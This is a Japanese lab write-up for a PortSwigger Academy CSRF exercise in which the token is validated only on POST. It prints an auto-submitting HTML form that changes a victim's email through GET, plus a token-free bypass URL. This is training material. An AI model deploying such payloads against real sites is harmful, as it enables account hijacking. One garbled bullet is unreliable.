> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-token-validation-depends-on-http-method.md).

# HTTPメソッドに基づくトークン検証を伴うCSRF

PortSwigger Web Security Academy のラボ向けメモ。HTTPメソッドに基づくトークン検証を伴うCSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### リクエストメソッドに依存してトークン検証が行われるCSRF

#### ラボのコンテキスト

メール変更機能はCSRF攻撃に対して脆弱です。防御は実装されていますが、特定の種類のリクエストにしか適用されません。目的: 被害者にメールアドレスの変更を強制するページをエクスプロイトサーバー上にホストする。/ テスト用に提供される認証情報: `wiener:peter`.

#### 確認事項

* CSRFトークンがチェックされるのは **POST** リクエスト。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9d7d012949369bf65070cc123d465a674b8072%2F%7B7AC1E905-8E8F-4586-AD8A-5B5456F76E93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 同じ操作がで受け入れられる **GET** \*\*n
* 該当箇所: `/my-account/change-email`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ea0892a9ff2ec48fcce1d9dcb84a08741cb22ab%2F%7B209AEB89-40CF-4130-A44B-5C24F83AD2DE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

サーバー上でホストすると、 **GET** メール変更エンドポイントに自動的に送信するクエリを実行するページが動作します:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

次のURLは回避策を示しています（GETではトークン不要）

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acb7fcc8c8a89d279256690e38876eb0488943ef%2F%7BC0479810-BBD1-4F65-B125-66A8FB36BD82%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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